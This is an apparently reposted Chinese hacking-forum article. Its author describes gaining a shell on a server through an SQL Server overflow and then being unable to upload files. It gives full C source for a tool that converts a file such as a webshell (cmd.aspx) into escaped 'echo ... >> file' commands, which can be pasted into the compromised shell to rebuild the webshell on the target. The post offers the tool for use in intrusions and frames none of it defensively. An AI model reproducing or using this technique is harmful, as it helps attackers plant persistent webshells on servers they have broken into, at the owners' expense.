注册
登录
| 关键词： echo printf 文件 一个 命令 一行 echofile fp FILE 生成 |
作者：lake2 来自：http://www.ph4nt0m.org 上次用sqlhello溢出时拿到一个shell，试了试at，可以执行，看来是管理员权限，可是却不能用net、ftp、tftp命令。晕，那偶怎么上传文件？呵呵，还好，难不到我。就将就那个shell在命令行下面echo一个webshell上去，然后再做打算。虽然只echo了一个几行的小程序，但是累死了，所以我就用C写了一个程序，以备下回遇到。原理很简单啦，就是在每一行代码前加"echo "，后面加" >> echofile.txt"，注意要在特殊符号（<、>、&、|、"、^）前加^。代码如下：#include "stdio.h"#include <process.h>#include <string.h>void echo(char so[30] ,char sa[30]){FILE *fp1,*fp2;char ch;if((fp1=fopen(so,"r"))==NULL){printf("Don't open file %s\n",so);exit(0);} //打开要echo的文件if((fp2=fopen("echofile.txt","w"))==NULL){printf("Don't creat file \n");exit(0);} //生成结果文件echofile.txtfputs("echo ",fp2); ch=fgetc(fp1);while(!feof(fp1)) //从echo文件依次读取一个字节{if(ch=='^'||ch=='<'||ch=='>'||ch=='&'||ch=='|'||ch=='"') //处理特殊符号（即在之前加"^"）{fputc('^',fp2);fputc(ch,fp2);}else if(ch=='\n') //若成立，则到了一行末；末尾加上重定向语句">> XXX"{fputs(" >> ",fp2);fputs(sa,fp2);fputs("\n",fp2);fputs("echo ",fp2);}else //其它情况就直接把字符放到结果文件{fputc(ch,fp2);}ch=fgetc(fp1);}fclose(fp1);fclose(fp2);printf("Done!\n");}int main(int argc, char* argv[]){if(argc!=3){printf("\n--------------------------------------------------------------------\n");printf("| Echo File , by lake2 (http://mrhupo.126.com) 2004/10/09 |\n");printf("--------------------------------------------------------------------\n");printf("-I will write a file to echo-file lake2.txt :)\n");printf("-Usage:\n");printf("%s <SourseFile> <EchoSaveFile>\n",argv[0]);printf("-Examples: \n%s cmd.aspx cmd.txt\n",argv[0]);return 0;}echo(argv[1],argv[2]);return 0;}参数有两个，就是shell文件名和要生成的文件名，程序将生成echofile.txt这个文件，里面包含了要echo的文件所要输入的所有命令（呵呵，有时最后一行会多一个echo，不过没关系的^_^）。现在就可以一行一行的复制了？呵呵，当然不。直接复制所有内容粘到shell就是了。命令行下有回车符它会自动执行前面的命令。呵呵，赶快去看看，webshell是不是生成了^_^另外问一下，在这种情况下，还有没有别的上传文件的方法？>>下载<< |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
